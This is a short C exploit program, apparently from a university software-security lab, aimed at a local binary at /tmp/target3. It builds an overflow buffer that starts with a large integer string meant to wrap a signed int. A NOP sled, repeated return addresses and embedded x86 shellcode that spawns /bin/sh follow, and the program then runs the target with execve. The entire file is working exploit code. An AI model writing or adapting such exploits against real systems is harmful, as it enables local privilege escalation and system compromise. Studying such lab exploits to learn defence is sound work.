sploit3.c

/*
 * sploit3.c
 * Author - Saul Laufer
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"

#define TARGET "/tmp/target3"
#define NOP 0x90
#define RETADDR 0xbfffd8cc
#define SIZE 4843

int main(void)
{

	static char shellcode[] =

			"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
			"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
			"\x80\xe8\xdc\xff\xff\xff/bin/sh";

	char *args[3];
	char *env[1];

	args[0] = TARGET;

	char buf[SIZE];
	int i;

	//largest positive int, + 242
	buf[0] = '2';
	buf[1] = '1';
	buf[2] = '4';
	buf[3] = '7';
	buf[4] = '4';
	buf[5] = '8';
	buf[6] = '3';
	buf[7] = '8';
	buf[8] = '9';
	buf[9] = '0';
	buf[10] = ',';

	//fill rest of injection buffer with return address
	for (i = 11; i < SIZE; i+=4) {
		*(long*)&buf[i] = RETADDR;
	}

	//fill 1st half of injection buffer with NOP slide
	for (i = 11; i < (SIZE/2); i++) {
		*(buf + i) = NOP;
	}

	//insert shellcode after NOP slide
	memcpy(buf+i, shellcode, strlen(shellcode));

	args[1] = buf;
	args[2] = NULL;
	env[0] = NULL;

	if (0 > execve(TARGET, args, env))
		fprintf(stderr, "execve failed.\n");

	return 0;
}